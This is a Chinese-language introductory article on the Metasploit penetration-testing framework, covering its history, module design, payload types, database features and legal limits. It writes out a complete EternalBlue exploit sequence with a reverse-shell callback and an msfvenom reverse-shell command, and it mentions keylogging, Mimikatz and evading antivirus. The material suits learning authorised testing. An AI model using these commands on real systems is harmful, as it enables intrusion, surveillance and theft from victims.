metasploit是什么
Metasploit 是一个渗透测试框架。别把它想成什么神秘的黑客工具,它更像一把瑞士军刀——里面塞满了各种漏洞利用代码、 payload 生成器、编码器,还有一整套让你能系统化地攻击目标机器的流程。2003 年 HD Moore 用 Perl 写了第一版,后来改成 Ruby,现在由 Rapid7 公司维护。开源版叫 Metasploit Framework,商业版叫 Metasploit Pro,后者多了图形界面和自动化报告功能。
很多人第一次接触 Metasploit 是在 Kali Linux 里敲下 msfconsole。那个命令行界面看起来有点复古,但功能一点不弱。你可以在里面搜索漏洞、加载模块、设置目标 IP 和端口,然后 exploit 一下。比如经典的 ms17-010(永恒之蓝),当年 WannaCry 就是靠这个漏洞横扫全球。在 Metasploit 里,你只需要:
use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.1.100 set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.1.50 exploit 回车之后,如果目标没打补丁,你就能拿到一个 Meterpreter 会话。Meterpreter 是 Metasploit 的杀手锏——它驻留在内存里,不写磁盘,能开摄像头、传文件、提权、开代理,甚至用 keyscan_start 记录键盘。我见过有人拿它当远程管理工具用,虽然这不太合规。
模块化是 Metasploit 的核心设计。每个漏洞利用(exploit)都搭配一个或多个 payload,payload 又分 staged 和 stageless。Staged 先传一个小 stager,再下载完整 payload,适合网络不稳定时;stageless 一次性传完,更稳定但体积大。编码器(encoder)用来绕过杀软特征,比如 shikata_ga_nai 多态编码,不过现在 AV 早就能识别了。还有 nops、evasion 模块,但别指望它们能骗过所有 EDR。
我刚开始用的时候,觉得 msfvenom 特别方便。一条命令就能生成各种格式的 payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o shell.exe 生成的 exe 丢到目标机器上运行,你这边 multi/handler 一监听,会话就回来了。但现实里,Windows Defender 会直接删掉这个 exe。所以更多人用 PowerShell 或宏文档做钓鱼。Metasploit 也能生成 powershell 格式的 payload,配合 Invoke-Mimikatz 之类的脚本,在内网横向移动时很顺手。
数据库支持是另一个实用功能。启动 postgresql 后,db_import 可以导入 nmap 扫描结果,hosts 和 services 命令直接列出目标资产。你不需要手动记 IP 和端口,模块里用 set RHOSTS 时还能引用数据库里的范围。这比纯命令行工具省事多了。
不过 Metasploit 不是万能的。它自带的 exploit 往往滞后于最新漏洞,很多 0day 不会出现在免费版里。而且默认配置下,流量特征明显,IDS/IPS 很容易报警。我见过有人用 set EnableStageEncoding true 和 set StageEncoder x86/shikata_ga_nai 来混淆,效果有限。真正做红队,通常会把 Metasploit 和 Cobalt Strike、Sliver 混着用,或者自己改 payload 源码。
法律上,未经授权使用 Metasploit 攻击他人系统是犯罪。但用它来测试自己的实验环境、打 CTF、或者做授权渗透测试,完全合法。很多公司招聘渗透测试工程师时,直接要求“熟练使用 Metasploit”。你可以在虚拟机里搭个 Metasploitable 靶机练手,或者用 VulnHub 的镜像。记住一点:工具本身没有善恶,关键看谁用、怎么用。
现在 Metasploit 已经集成到几乎所有渗透测试发行版里。Kali、Parrot、BlackArch 都预装了。如果你刚入门,别急着背命令,先理解漏洞利用的生命周期:信息收集 → 漏洞识别 → 选择模块 → 配置 payload → 执行 → 后渗透。Metasploit 只是把这个流程自动化了一部分。真正值钱的,是你对目标系统的理解,以及遇到报错时知道去哪找答案。
```(责任编辑:休闲)













